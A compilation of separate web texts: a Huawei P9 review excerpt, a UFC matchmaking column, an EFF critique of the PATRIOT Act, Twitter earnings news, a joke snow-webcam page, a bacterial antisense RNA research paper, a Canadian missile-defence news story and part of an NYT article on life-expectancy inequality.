AMOLED from the regular P9's IPS, although both share a 1080p resolution. The Plus also adds an IR blaster and a pressure-sensitive screen, which the company is calling Press Touch technology (Huawei used similar tech in limited edition versions of last year's Mate S). The P9 Plus will be available in May, in both Europe and Asia, while the smaller P9 will be on sale on both continents by the end of this month. Huawei refuses to either confirm or deny any launch plans for the P9 in the United States, though the company is already on the record as having said that it plans to launch a flagship smartphone in the US this year.  I tried my best to understand the exact details of Leica and Huawei's partnership on the camera system of the P9. Huawei's announcement says only that the two cameras have "Leica certification." When asked what that actually meant, the Chinese company said that it was developed through "a co-engineering process." When asked what that meant, the company said that they worked together. Given Leica's willingness to cynically rebrand (and then overprice) Panasonic cameras, I have to be dubious about the value of this partnership until either company discloses some substantive benefits from it. Either that, or the camera will have to just prove itself better than all the rest. It does promise to deliver the best black and white photos with its dedicated monochrome sensor, and it has laser autofocus, though neither camera module comes with optical image stabilization. I'll withhold judgment until I can put it through its paces properly, but for now, check out the photos of the P9 below. It really is quite lovely, dubious branding or not.  The Huawei P9 is priced at £449 in the UK with 32GB of storage and 3GB of RAM, while the Huawei P9 Plus will cost £549 with 64GB of storage and 4GB of RAM from mid-May.
-The UFC made its sixth stop in Australia with UFC Fight Night 55, which took place Friday at Sydney’s Allphones Arena. The event, which streamed on UFC Fight Pass, saw a record number of finishes as every fight on the card ended in a stoppage.  In the main event, middleweight contender Luke Rockhold (13-2 MMA, 3-1 UFC) continued to make his case for a title shot when he submitted “The Ultimate Fighter 3” winner Michael Bisping (25-7 MMA, 15-7 UFC) in the second round.  The co-main event saw Al Iaquinta (10-3-1 MMA, 5-2 UFC) knock out “TUF 9” winner Ross Pearson (16-8 MMA, 8-5 UFC) while Robert Whittaker (13-4 MMA, 4-2 UFC) and Soa Palelei (22-4 MMA, 4-2 UFC) picked up wins to round out the four-fight main card.  After every event, fans wonder whom the winners will be matched up with next. And with another night of UFC action in the rearview mirror, it’s time to look forward, put on a pair of Joe Silva’s and Sean Shelby’s shoes, and play UFC matchmaker.  * * * *  Soa Palelei  Should fight: Winner of Todd Duffee vs. Anthony Hamilton at UFC 181  Why they should fight: After an uninspiring effort in his previous outing, Palelei rebounded with a ground-and-pound finish of injury replacement Walt Harris for his 12th victory in his past 13 fights.  “The Hulk” had his grappling game exposed by Jared Rosholt earlier this year when he lost a one-sided decision to the talented wrestler. Unless the 36-year-old can somehow shore up that hole in his game, he’s not going to break into the next tier of the heavyweight division.  That said, Palelei is always capable of pulling off a knockout. And if he can put together a winning streak against other middling fighters in his weight class, such as the winner of Duffee (8-2 MMA, 2-1 UFC) and Hamilton (13-3 MMA, 1-1 UFC), who meet at UFC 181 on Dec. 6, he could earn another chance to face a top heavyweight.  Robert Whittaker  Should fight: Winner of Nate Marquardt vs. Brad Tavares at UFC 182  Why they should fight: Whittaker’s decision to move up to middleweight was clearly the right one. In his divisional debut, the “TUF: Smashes” winner became the first to knock out Clint Hester when he finished the fight with a second-round flurry.  The Australian rebounded from recent back-to-back losses, and after numerous tough cuts to welterweight, he said a change was needed. Not often will fighters at the UFC level move up in weight, but Whittaker looked better than ever after doing so.  Hester is hardly a small middleweight, and Whittaker didn’t appear physically outmatched prior to his knockout victory. He was quick, slick and confident, which is going to cause problems for some members of the 185-pound weight class.  While Hester had a nice winning streak before he crossed paths with Whittaker, he’s yet to defeat any competition that will prove he can be a long-lasting member of the UFC roster. If Whittaker wants to continue to rise through the ranks, he needs to defeat a bigger name.  Two well-known middleweights in Marquardt (33-13-2 MMA, 11-6 UFC) and Tavares (12-3 MMA, 7-3 UFC) are set to square off at UFC 182 on Jan. 3, and a potential victory over the winner would add a lot of credibility to Whittaker’s resume.  Al Iaquinta  Should fight: Gleison Tibau  Why they should fight: Since he first appeared on “TUF 15,” Iaquinta has shown the type of talent that could result in a special career.  He’s had setbacks and glimpses of brilliance since then, but against Pearson, the 27-year-old showed the full extent of his abilities when he stopped his British counterpart by second-round knockout.  Iaquinta saw mostly indifference when he told MMAjunkie he had a striking advantage over “The Real Deal.” He backed up those words with a counter-striking clinic that concluded with the referee pulling him off his opponent.  Pearson was a step up in competition from anyone Iaquinta had previously fought, but the New Yorker was clearly ready for it. Now it’s only natural to continue to climb the ranks.  Tibau (30-10 MMA, 15-8 UFC) would be a formidable test for Iaquinta. He’s fought a lightweight record 22 times under the UFC banner and has a history of separating the pretenders from the contenders.  Iaquinta has everything going for him right now, though. He’s young, comes from a tremendous gym at Team Serra-Longo, has unshakable self-belief and is on a roll with wins in five of his past six fights. If he can keep that momentum rolling through Tibau, he could garner a spot in top 15 of the division.  Luke Rockhold  Should fight: Ronaldo Souza  Why they should fight: Despite a setback against Vitor Belfort in his UFC debut, Rockhold has fought back to prominence and is on the verge of becoming the top contender in the middleweight division after earning his third consecutive UFC victory.  Another fighter who’s made waves in the 185-pound weight class is Souza (20-3 MMA, 3-0 UFC). “Jacare” is undefeated since coming over from the now-defunct Strikeforce organization and appears to be on a collision course with Rockhold.  Even though Rockhold already holds a September 2011 win over Souza, both fighters have evolved tremendously since then and have proven to be two of the top talents in the UFC middleweight division.  The first meeting decided who would be Strikeforce champion. Should the rematch go down roughly three years later, it’s likely that the outcome would determine the No. 1 contender to the UFC 184 title bout between Chris Weidman and Belfort.  For complete coverage of UFC Fight Night 55, check out the UFC Events section of the site.
-Ten years ago today, in the name of protecting national security and guarding against terrorism, President George W. Bush signed into law some of the most sweeping changes to search and surveillance law in modern American history. Unfortunately known as the USA PATRIOT Act, many of its provisions incorporate decidedly unpatriotic principles barred by the First and Fourth Amendments of the Constitution. Provisions of the PATRIOT Act have been used to target innocent Americans and are widely used in investigations that have nothing to do with national security.  Much of the PATRIOT Act was a wish list of changes to surveillance law that Congress had previously rejected because of civil liberties concerns. When reintroduced as the PATRIOT Act after September 11th, those changes -- and others -- passed with only limited congressional debate.  Just what sort of powers does the PATRIOT Act grant law enforcement when it comes to surveillance and sidestepping due process? Here are three provisions of the PATRIOT Act that were sold to the American public as necessary anti-terrorism measures, but are now used in ways that infringe on ordinary citizens’ rights:  1. SECTION 215 – “ANY TANGIBLE THING”  Under this provision, the FBI can obtain secret court orders for business records and other “tangible things” so long as the FBI says that the records are sought "for an authorized investigation . . . to protect against international terrorism or clandestine intelligence activities." The Foreign Intelligence Surveillance Court must issue the order if the FBI so certifies, even when there are no facts to back it up. These “things” can include basically anything—driver’s license records, hotel records, car-rental records, apartment-leasing records, credit card records, books, documents, Internet history, and more. Adding insult to injury, Section 215 orders come with a "gag " prohibiting the recipient from telling anyone, ever, that they received one.  As the New York Times reported, the government may now be using Section 215 orders to obtain “private information about people who have no link to a terrorism or espionage case.” The Justice Department has refused to disclose how they are interpreting the provision, but we do have some indication of how they are using Section 215. While not going into detail, Senator Mark Udall indicated the FBI believes it to allows them “unfettered” access to innocent Americans’ private data, like “a cellphone company’s phone records” in bulk form. The government’s use of these secret orders is sharply increasing -- from 21 orders in 2009 to 96 orders in 2010, an increase of over 400% -- and according to a brand new report from the Washington Post, 80% of those requests are for Internet records.  Today, EFF sued the Justice Department to turn over records related to the government’s secret interpretation and use of Section 215, regarding which Senator Ron Wyden, like Senator Udall, has offered ominous warnings: "When the American people find out about how their government has secretly interpreted the Patriot Act,” said Wyden on the Senate floor in May, “they are going to be stunned and they are going to be angry.”  2. NATIONAL SECURITY LETTERS  Among the most used -- and outright frightening -- provisions in the PATRIOT Act are those that enhanced so-called National Security Letters (NSLs). The FBI can issue NSLs itself, without a court order, and demand a variety of records, from phone records to bank account information to Internet activity. As with 215 orders, recipients are gagged from revealing the orders to anyone.  While NSLs existed prior to 2001, they were infrequently used. The PATRIOT Act lowered the standard making it easier for the FBI to use NSLs to obtain the records of innocent people with no direct link to terrorists or spies, and their use skyrocketed. According to the ACLU’s report on PATRIOT Act abuses, there were 8,500 NSLs issued in 2000 but approximately 192,000 issued between 2003-2006. All of these NSL’s led to one terror conviction, and in that case, the NSL wasn’t even needed.  Not surprisingly, EFF FOIA requests have found abuse of their NSL authority: “mistakes” that led to getting information on the wrong people, ISPs handing over extra or wrong information, and dozens of “exigent letters” that “circumvented the law and violated FBI guidelines and policies.” EFF has successfully challenged the NSL gag orders in multiple cases as unconstitutional under the First Amendment, but the overall scheme still survives to this day.  3. SNEAK AND PEEK WARRANTS  Section 213 of the PATRIOT Act normalized “sneak-and-peek” warrants. These allow law enforcement to raid a suspect’s house without notifying the recipient of the seizure for months. These orders usually don't authorize the government to actually seize any property — but that won't stop them from poking around your computers. Again, sneak-and-peek warrants could be used for any investigation, even if the crime was only a misdemeanor.  From 2006-2009, sneak-and-peek warrants were used a total of 1,755 times. Only fifteen of those cases—a microscopic 0.8%—involved terrorism. The rest were used in cases involving drugs or fraud.  These uses and abuses of the PATRIOT Act against ordinary Americans are only the tip of the iceberg. EFF has repeatedly documented how federal law enforcement agencies have abused our nation’s broken secrecy system to hide specific instances of illegal and unconstitutional conduct related to the PATRIOT Act. EFF’s Freedom of Information Act requests have painted a picture of “an [FBI] engaged in excessive illegal intelligence gathering.”  After ten years, it’s crystal clear that the “emergency” measure sold as a necessary step in the fight against terrorism is being used routinely to violate the privacy of regular people in non-terrorism cases, threatening the Constitutional rights of every one of us. And after ten years, EFF is even more dedicated to fighting against PATRIOT overreach, both in Congress and the courts. Help us in that fight by becoming an EFF member, so that we can work together in making the next ten years better for civil liberties than the last.
-You’d think investors would be happy. Twitter just released its first quarterly earnings report as a public company, with revenue and earnings coming in significantly ahead of analyst estimates.  And yet, as of 6:02pm Eastern time, Twitter’s stock had fallen 18 percent in after-hours trading. What happened? Well, the company also said that it now has 241 million monthly actively users — up 30 percent year-over-year, as the release says, but only up about 4 percent from last quarter. In other words, it looks like user growth continues to slow.  In addition, Timeline Views, which are another indication of user engagement, actually fell 7 percent to 148 billion.  The concerns make sense, but at the same time, the discussion feels like a big reversal. As others have pointed out, a couple of years ago, the big concern around consumer social networks (well, mainly Facebook and Twitter) was whether they could actually make money from their rapidly growing user bases. By the time Twitter’s S-1 was revealed to the public last fall, there were questions about whether it had a growth problem, and now it seems those concerns are having a real effect on stock price.  (Note: I’ll be updating this post until about 6pm Eastern just to make sure the numbers are still accurate, but they don’t appear to be changing hugely.)  Update: CEO Dick Costolo offered some thoughts on user growth during the earnings conference call.
-LAST STORM OF 2018 WE SWEAR NO HUBRIS HERE 2018-03-20 How deep is the snow on Jill's bucket? The snow on Jill's bucket is 2.57 inches deep. CELEBRATING 8 GLORIOUS YEARS OF INACCURATE TECHNOLOGY This page will refresh automatically every three minutes. DIHYDROGEN MONOXIDE! DIHYDROGEN MONOXIDE in its horrific SOLID FORM! FALLING! FROM! THE! SKY! Only DASA (the Delaware Aeronautics and Snow Administration) has the technology to measure this phenomenon accurately...  You can't view this movie. Bummer.  Snowfall by Hour  Hour Inches Total [Earlier] 0.91 0.91 9pm 1.66 2.57 10pm 3.17 5.74 11pm 0.00 5.74 12am 0.00 5.74 1am 0.00 5.74 2am 0.00 5.74 3am -0.15 5.59 4am 0.00 5.59 5am -0.15 5.44 6am 0.00 5.44 7am 0.00 5.44 8am 0.00 5.44 9am 0.00 5.44 10am -0.30 5.14 11am -0.45 4.69 12pm -1.21 3.48 1pm -0.91 2.57 2pm -1.36 1.21 3pm 15.87 17.08 4pm -12.09 4.99 5pm 0.15 5.14 6pm 0.15 5.29 7pm -3.78 1.51 8pm -0.15 1.36  Colophon  @boutell of P'unk Avenue coded this. Have a peek at the source code (no, I don't usually write PHP anymore). HTML5 video is generated with ffmpeg. (IE users: use IE9 or better.)  Jill's equipment: "EVERYTHING I NEED IN THE UNIVERSE is a Logitech C270 cheapo webcam, a new sexy piece of software called Willing Webcam v.5.53, and this cheapie refurbed lappy I bought of off Woot.com for $299. And this paddle game."  The snowflake in the graph is a photomicrograph of an actual snowflake taken by Wilson Bentley circa 1902.  Earlier Experiments of Note
-cis-Encoded antisense RNAs (asRNAs) are widespread along bacterial transcriptomes. However, the role of most of these RNAs remains unknown, and there is an ongoing discussion as to what extent these transcripts are the result of transcriptional noise. We show, by comparative transcriptomics of 20 bacterial species and one chloroplast, that the number of asRNAs is exponentially dependent on the genomic AT content and that expression of asRNA at low levels exerts little impact in terms of energy consumption. A transcription model simulating mRNA and asRNA production indicates that the asRNA regulatory effect is only observed above certain expression thresholds, substantially higher than physiological transcript levels. These predictions were verified experimentally by overexpressing nine different asRNAs in Mycoplasma pneumoniae. Our results suggest that most of the antisense transcripts found in bacteria are the consequence of transcriptional noise, arising at spurious promoters throughout the genome.  Keywords  There is an ongoing discussion in both eukaryotes and prokaryotes as to what extent this plethora of sRNAs provides a crucial layer of transcriptional and translational regulation, or if a large part of them are the result of transcriptional noise, arising from spurious promoters ( 17 , 18 ). Bacterial promoters are characterized by low information content, and their major landmark is the Pribnow motif that has the consensus sequence “5′-TANAAT-3′” ( 19 ). Other features include (i) the −35 box, although this has been shown not to be essential (especially in Firmicutes) and can be replaced by other elements ( 20 ), and (ii) low melting energies, which ultimately depend on the AT composition of the promoter region. Such low information content implies that promoters could easily arise by random mutations in bacterial genomes, especially given the presumptive bias toward G/C nucleotides mutating to A/T ( 21 ). If sRNAs are the product of transcriptional noise due to spurious 5′-TANAAT-3′ boxes, we predict that the number of sRNAs in bacteria will strongly correlate to the AT content of their genomes in an exponential manner (fig. S2A). Because of the stochastic nature of transcription and the short half-life of RNAs in bacteria, low levels of random production of asRNA from these spurious Pribnow boxes would not affect the levels of the sense mRNA (fig. S1B).  The catalog of bacteria-encoded RNAs has recently undergone a vast expansion. The canonical mRNAs and known noncoding RNAs [ribosomal RNAs (rRNAs), transfer RNA (tRNAs), transfer mRNA (tmRNA), and others] are now accompanied by a handful of new transcript categories. Small, non–protein-coding RNAs or sRNAs are one of these new categories. The numbers of initially reported sRNAs ranged from dozens to hundreds in different species ( 1 , 2 ). These include cis-encoded sRNAs, which overlap functionally defined genes, either in sense or antisense (thus named asRNAs), and trans-encoded sRNAs, which are separated from their target genes. These sRNAs span a wide range of lengths: from dozens of to a few thousand base pairs ( 2 ). However, recent improvements in techniques for analysis of transcription have revealed that noncoding transcription in prokaryotes is pervasive through the genome ( 3 – 5 ). Still, only few sRNAs have been functionally characterized ( 6 – 8 ), most of which correspond to the category of trans-encoded sRNAs. Examples of these are the ones associated with bacterial virulence ( 9 – 11 ). The most common mechanism of action of sRNAs is via complementary base pairing with coding sequences (fig. S1A). RNA duplex formation between sRNA and mRNA can change mRNA stability, inducing degradation or stabilization of the duplex. This duplex may as well induce or repress mRNA translation by affecting the ribosome binding site ( 2 , 12 ). Another asRNA regulatory mechanism is transcriptional interference, occurring if two RNA polymerases transcribing in convergent directions collide ( 13 ). Other types of RNA having a regulatory role by “nonstandard” mechanisms should not be disregarded. For instance, if there was a Dicer-like mechanism in bacteria as it occurs in eukaryotes ( 14 ), low abundant RNAs could exert a strong influence on complementary, more abundant, mRNAs. In this respect, we have the CRISPR (clustered regularly interspaced short palindromic repeats)/Cas system in bacteria, where crRNAs (CRISPR RNAs), even if not abundant, target the enzyme against foreign DNA ( 15 ) and/or RNA sequences ( 16 ).  RESULTS  To investigate these hypotheses, we annotated sRNAs de novo in the genomes of Buchnera aphidicola, Mycoplasma hyopneumoniae, and Mycoplasma mycoides subspecies capri (tables S1 to S3 and fig. S3) in a similar way as we did with Mycoplasma pneumoniae (22). We also considered the sRNAs annotated using deep sequencing data in 17 other bacterial genomes and a chloroplast genome (table S4). These 21 genomes span an AT content ranging from 28 to 80%, and their genome sizes range from 416 kb (B. aphidicola Cc) to 9.02 Mb (Streptomyces avermitilis). Investigating the number of canonical Pribnow boxes in these genomes, we found an exponential dependency of the number of boxes on the AT content, qualitatively similar to our theoretical expectations (fig. S2A). Moreover, comparison of the number of these boxes upstream of open reading frames (ORFs) and sRNAs showed that the proportion of sRNAs with Pribnow boxes is similar to or higher than the proportion of ORFs having them (fig. S2B). This supports the hypothesis that an increase in AT content also results in an increase in spurious Pribnow boxes.  We found that the number of sRNAs normalized by genome size versus the AT content in the studied bacterial species has a clear exponential dependency (Fig. 1A), similar to that of the number of TANAAT motifs randomly expected given a certain AT% (fig. S2A). The exponential trend observed for the sRNAs is conserved, omitting the species whose sRNAs were de novo annotated (R2 = 0.814), indicating that it is not an artifact of the method used to identify them (see fig. S3 and Materials and Methods). In contrast to the observed sRNA trend, the number of coding genes normalized by genome size shows no dependency on AT content, and this trend is invariant with respect to genome size (Fig. 1B). We tested whether the AT dependency held true for both asRNAs and trans-encoded sRNAs. asRNAs follow an exponential dependency on the AT content (fig. S4A), whereas trans-encoded sRNAs behave similarly to coding genes and are uncorrelated to the AT content of the intergenic regions (even when considering a minimal size larger than that of an average asRNA; fig. S4B). These results support the transcriptional noise hypothesis, and that random mutations in coding genes could result in spurious antisense 5′-TANAAT-3′ boxes, in a manner related to the genome AT content, which could drive the expression of asRNAs.  Fig. 1 Different genomic features show distinct dependency on the genomic AT content. The number of features was divided by the genome size for normalization and represented versus the genomic AT content. The following genomes are represented: Atu, Agrobacterium tumefaciens; Bcc, Buchnera aphidicola (str Cc); Bsu, Bacillus subtilis; Cgl, Corynebacterium glutamicum; Chl, chloroplast (Arabidopsis thaliana); Cje, Campylobacter jejuni; Eco, Escherichia coli; Hpy, Helicobacter pylori; Mge, Mycoplasma genitalium; Mhy, Mycoplasma hyopneumoniae; Mmy, Mycoplasma mycoides; Mpn, Mycoplasma pneumoniae; Mtu, Mycobacterium tuberculosis; Pau, Pseudomonas aeruginosa; Sav, Streptomyces avermitilis; Sco, Streptomyces coelicolor; Sme, Sinorhizobium meliloti; Sth, Salmonella typhimurium; Sve, Streptomyces venezuelae; Syn, Synechocystis spp., Vch, Vibrio cholerae. (A) Number of total sRNAs in different bacteria. Total sRNAs have an exponential dependency on the AT content (R2 = 0.88) and do not correlate with genome size. (B) Genome compaction (that is, number of ORFs normalized by genome size) versus AT content. Genome compaction in the different bacterial genomes analyzed shows no dependency on the AT content. Instead, the number of ORFs in bacterial genomes correlates with the genome size (R = 0.99).  Regarding expression levels, it has been shown that essential ORFs show higher mRNA levels, suggesting that elements with essential roles are more transcribed (23). Therefore, we compared transcript levels of ORFs and asRNAs in eight of the bacteria in our study. In all cases, average asRNA levels were lower than average mRNA levels (fig. S5A). This could indicate that at least a majority of the asRNAs could be nonessential. Indeed, a recent study on the essentiality of the M. pneumoniae genome revealed that only 5% of all sRNAs are essential (23). We also compared the expression of each asRNA to its overlapping mRNA. asRNA-mRNA expression ratios are presented in fig. S5B. These ratios are below 1 in most of the cases (fig. S5B). For three of the species in our study (M. pneumoniae, M. mycoides, and Bacillus subtilis), we compared asRNA levels at exponential and stationary growth phases (fig. S5C). Most of the asRNAs remain unchanged, excluding the effect of the growth phase at where the bacteria were analyzed. Additionally, asRNA and trans-encoded sRNA levels were compared in five species (B. aphidicola, Mycoplasma genitalium, M. pneumoniae, M. mycoides, and M. hyopneumoniae), and we found that asRNA expression is significantly lower than trans-encoded sRNA levels in all cases (Welch’s two-sample t test, P < 0.05).  We estimated the energy consumed by the cells in transcribing these asRNAs in M. pneumoniae, considering the number of noncoding RNAs, their length, and their transcription rate, compared to those of mRNAs, tRNAs, and rRNAs (see Materials and Methods). M. pneumoniae spends ~5000 adenosine triphosphate (ATP) units per cell per second in transcribing mRNAs, tRNAs, and rRNAs (24). This amount is proportional to the transcription rate of these molecules, their length, and their copy number in the cell. Taking into account these parameters for sRNAs, we estimate that M. pneumoniae spends 2.94% of the energy of RNA transcription in synthesizing sRNAs, equivalent to ~147 ATP units per cell per second. This number represents 0.24% of the total ATP generated per cell per second (24). Thus, according to our calculations, the energetic impact of spurious transcription is not high even in bacteria with a large number of asRNAs.  asRNAs have been proposed to play a role in transcription regulation complementing the role of transcription factors (25). Should this be the case, we would expect a negative dependency with the number of transcription factors in the different bacteria analyzed here. The number of transcription factors, as reported in the P2TF database (26), shows a linear trend with genome size as previously described (27) (fig. S6A). However, this trend does not exist for asRNAs (fig. S6B). To determine if there is a negative dependency between transcription factors and asRNAs, we considered groups of genomes with approximately similar AT content and different numbers of transcription factors. We found no negative relationship between the number of transcription factors and the number of asRNAs per genome having similar AT content (>60%) (fig. S6C). For bacteria with high AT content, there is a positive correlation, contrary to what we would expect (R = 0.94). This can be explained by the fact that for this group, larger genomes present both more transcription factors and more asRNAs. Indeed, for bacteria with similar AT content, the number of asRNAs correlates with the number of genes, indicative of genome size (fig. S6D).  As we indicated in fig. S1B, asRNAs expressed at low levels could barely encounter its sense mRNA, given the stochastic nature of transcription. Therefore, no effect on mRNA half-life or translation would be expected. To see if this is the case, we constructed a mathematical model of transcription and translation of a gene in the bacterium M. pneumoniae. We modeled three possible effects of the asRNA: (i) the binding of the asRNA to the mRNA induces degradation of the duplex, (ii) the binding of the asRNA to the mRNA induces degradation of the mRNA, and (iii) the binding of the asRNA to the mRNA is stable but prevents translation (fig. S1A). In all cases, binding of the mRNA to the ribosome prevents degradation of the mRNA. Parameters for this model were determined from experimental data (see Materials and Methods). Other possible effects, such as transcriptional interference, were not considered as the low transcription rates in M. pneumoniae deem the collision of transcribing polymerases to be very unlikely. We scanned the parameter space of the mRNA and the asRNA transcription rates, from typical wild-type levels to ~100-fold overexpression (Fig. 2 and fig. S7). We found that for the three cases modeled, the region with low concentrations of both asRNA and mRNA shows no changes with respect to the control simulations. This can be explained by the fact that in this region, RNA copy numbers are below 1 per cell, and thus the chance of an mRNA and an asRNA to occur simultaneously at the same cell is negligible (fig. S1B). Remarkably, most of the RNAs in different bacteria are present at concentrations that yield no asRNA effect (28), although some exceptions have been described, showing that some asRNAs can have a regulatory role (29–31) (Fig. 2A). This mathematical model can be a valuable resource to identify putative functional asRNAs in a given organism according to their expression levels. By determining the concentrations of all asRNAs in M. pneumoniae, we can determine a list of potential functional asRNA candidates. In this bacterium, asRNAs are insufficiently expressed to trigger an effect in their overlapping mRNAs, according to our simulations. It has to be noted, though, that the values of decay rates used in these simulations represent the average values determined for M. pneumoniae. Individual transcripts with decay rates that differ significantly from the average should be analyzed on a case-by-case basis. With the adequate parameters, the model could be extended to other bacteria, given that the action mechanism of asRNAs is known beforehand.  Fig. 2 Simulation of the effect of the asRNAs, assuming that the asRNA-mRNA pairing causes duplex degradation. Parameters for the simulations are detailed in the Supplementary Materials. Each point of the heat maps represents the average change in the protein concentration for 100 simulations of 1000 min each, for specific parameters of asRNA and mRNA transcription rates. The remaining parameters remain constant for all the simulations. The axes represent the mRNA and asRNA concentration in the control experiments for the corresponding transcription rates scanned. (A) Changes in the mRNA concentration after 1000 min of simulation. Blue circles represent experimental data from the overexpression of asRNAs in M. pneumoniae, whereas green circles represent data from studies in Gram-negative bacteria (29–31). The green ellipse delimits the region of the concentrations of most transcripts in E. coli (28). (B) Changes in the protein concentration after 1000 min of simulation. Blue circles represent experimental data from the overexpression of asRNAs in M. pneumoniae.  To verify these results, we overexpressed nine asRNAs in the bacterium M. pneumoniae (up to sixfold; Fig. 2 and table S5). These asRNAs were selected such that they overlap different regions of their corresponding mRNA partners (5′ end, 3′ end, or center), to test different possible action mechanisms. Additionally, asRNAs with different expression levels were chosen. Shotgun proteomics of the clones revealed no significant changes in the protein levels of the overlapping genes (Fig. 3A and table S6). Also, RNA-seq (RNA sequencing) revealed no significant changes in the mRNA levels (Fig. 3B and table S7). Thus, our simulations and our experimental data do not support the hypothesis that asRNAs have a general regulatory role in bacteria replacing the function of transcription factors. Only in those exceptions in which both asRNA and mRNA are expressed over a certain threshold can a regulatory behavior be expected.  Fig. 3 Effect of the overexpression of asRNAs in their overlapping genes, measured by RNA-seq and shotgun proteomics. (A) Protein levels of the genes overlapping each asRNA under control conditions and in the strains transformed with the antisense constructs. Error bars represent the SD of the samples. Two of the proteins, MPN056 and MPN305, were not detected in any of the strains of M. pneumoniae. (B) mRNA levels of the genes overlapping each asRNA under control (wild-type) conditions and in the strains overexpressing the antisense transcripts. Error bars represent the SD of the samples.  Our findings support the idea that most of the asRNAs are a consequence of transcriptional noise, rather than of tightly regulated events. The distribution of asRNAs in bacteria with distinct AT content and the lack of capability of replacing transcription factors support this idea. Probably, the bias toward AT mutations in bacteria (21) generates spurious promoter sequences that are able to trigger transcription. However, spurious expression of asRNAs is not incompatible, with some being functional, as described elsewhere (1, 2, 6–8, 12). Indeed, asRNAs claimed to be functional are expressed at much higher rates than the average (28–31). Despite the observed general trend, we should not ignore that, in some bacteria, there are proteins [such as RNA chaperone Hfq (32)] that help to stabilize asRNAs or the duplexes they form with mRNAs. In such cases, even low expressed asRNAs may exert a regulatory function. Nevertheless, this protein is not conserved throughout the bacteria in our study, and although it is conserved in some species, it is not essential. Therefore, we cannot expect such a mechanism to be general but rather an adaptation for specific cases. This suggests that asRNAs may accumulate in bacterial genomes because of transcriptional noise and a lack of negative selection, probably due to the low energy needed for their transcription and the absence of deleterious effects. Some of these asRNAs may afterward gain a function. Additionally, pervasive noncoding transcription may as well have unspecific functional roles, such as buffering the RNA polymerase levels inside the bacterial cell. Our results are likely to be valid throughout the bacterial kingdom, and according to a recent study (33), they may also apply to eukaryotes.
-Lee Berthiaume, The Canadian Press  OTTAWA -- Personal and political divisions over ballistic missile defence were on clear display Tuesday, as a group of parliamentarians gathered on Parliament Hill to discuss the threat posed by North Korea.  Members of the House of Commons' defence committee agreed during a rare summer meeting to a series of emergency briefings in the coming weeks on the government's plan should North Korea attack.  The meeting came as the U.S. Treasury Department upped the ante on North Korea by sanctioning several Chinese and Russian entities for supporting the rogue state's nuclear and missile programs.  There was no immediate word of Canada following with its own sanctions.  Instead, much of the discussion in the hallways before and after the committee meeting centred on whether Canada should join the U.S. continental missile-defence shield, after famously opting out of the system in 2005.  The Trudeau government has sidestepped questions about Canada's intentions, saying only that ballistic missiles are one threat being discussed as Canada and the U.S. look to upgrade North America's defences.  But one Liberal MP said Tuesday that Canada should reconsider its decision not to join the U.S. missile shield, even as the Conservatives danced around the issue and the NDP reaffirmed its historic opposition.  Liberal MP Mark Gerretsen said a lot has changed since then-prime minister Paul Martin decided Canada would not join ballistic missile defence in 2005.  "Personally, I think that we do need to start to look at what Canada's role will be in that," he told reporters after the committee meeting.  "We should be having an ongoing discussion about what our role should be in that. And I think 10 years plus after the fact is a timely opportunity to have that discussion again."  'Cheaper to develop new weapons'  Gerretsen would not comment on the government's official position, or whether his view was shared by many other members of his party.  But fellow Liberal MP Stephen Fuhr, chairman of the defence committee, noted that Canada has limited resources when it comes to defence -- a reference to the fact the U.S. has spent about $100 billion on its missile shield.  Fuhr also played down the threat posed by North Korea, citing military officials and defence experts who told the committee last year that there was no direct threat to Canada from another country.  "Even if we wind back the media in the last 30 days, I don't think Canada was ever mentioned in the rhetoric that was flying back and forth between North Korea and the United States," he said.  Meanwhile, Conservative MPs refused to say Tuesday where their party sits now.  The Liberals were in office when Canada declined to join the defence system in 2005, but Stephen Harper made no move to reverse course during the Tories' 10 years in power.  That was despite Conservatives having pressed for Canada to join while they were in opposition to Martin's government.  Conservative defence critic James Bezan suggested his party would take a position once the defence committee is briefed on North Korea, even as he referenced the fiery debate from 12 years ago.  "You've got to remember the history behind that discussion, the wounds that were created because of the decision by Paul Martin back in 2005. And things didn't change until this summer," Bezan added.  "So from this point forward, everyone is looking at how we can best work with the United States. How we can work through NORAD in dealing with this new threat."  The only party with a clear position appeared to be the New Democrats, with NDP foreign affairs critic Helene Laverdiere calling on the Liberals to reaffirm their opposition to ballistic missile defence.  "It's cheaper to develop new weapons than to develop that kind of defensive system," she said.  "And that kind of defensive system only leads countries like North Korea but also countries like China and Russia, who may feel concerned, to upgrade their systems and it leads to escalation."  Laverdiere called for Canada to take more of a leadership role in finding a diplomatic solution and to support efforts at the UN for full nuclear disarmament around the world.
-He and another researcher, Mohammad Siahpush, a professor at the University of Nebraska Medical Center in Omaha, developed an index to measure social and economic conditions in every county, using census data on education, income, poverty, housing and other factors. Counties were then classified into 10 groups of equal population size.  In 1980-82, Dr. Singh said, people in the most affluent group could expect to live 2.8 years longer than people in the most deprived group (75.8 versus 73 years). By 1998-2000, the difference in life expectancy had increased to 4.5 years (79.2 versus 74.7 years), and it continues to grow, he said.  After 20 years, the lowest socioeconomic group lagged further behind the most affluent, Dr. Singh said, noting that “life expectancy was higher for the most affluent in 1980 than for the most deprived group in 2000.”  “If you look at the extremes in 2000,” Dr. Singh said, “men in the most deprived counties had 10 years’ shorter life expectancy than women in the most affluent counties (71.5 years versus 81.3 years).” The difference between poor black men and affluent white women was more than 14 years (66.9 years vs. 81.1 years).  The Democratic candidates for president, Senators Hillary Rodham Clinton of New York and Barack Obama of Illinois, have championed legislation to reduce such disparities, as have some Republicans, like Senator Thad Cochran of Mississippi.  Peter R. Orszag, director of the Congressional Budget Office, said: “We have heard a lot about growing income inequality. There has been much less attention paid to growing inequality in life expectancy, which is really quite dramatic.”  Life expectancy is the average number of years of life remaining for people who have attained a given age.  Advertisement Continue reading the main story  While researchers do not agree on an explanation for the widening gap, they have suggested many reasons, including these:  ¶Doctors can detect and treat many forms of cancer and heart disease because of advances in medical science and technology. People who are affluent and better educated are more likely to take advantage of these discoveries.  ¶Smoking has declined more rapidly among people with greater education and income.  ¶Lower-income people are more likely to live in unsafe neighborhoods, to engage in risky or unhealthy behavior and to eat unhealthy food.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  ¶Lower-income people are less likely to have health insurance, so they are less likely to receive checkups, screenings, diagnostic tests, prescription drugs and other types of care.  Even among people who have insurance, many studies have documented racial disparities.  In a recent report, the Department of Veterans Affairs found that black patients “tend to receive less aggressive medical care than whites” at its 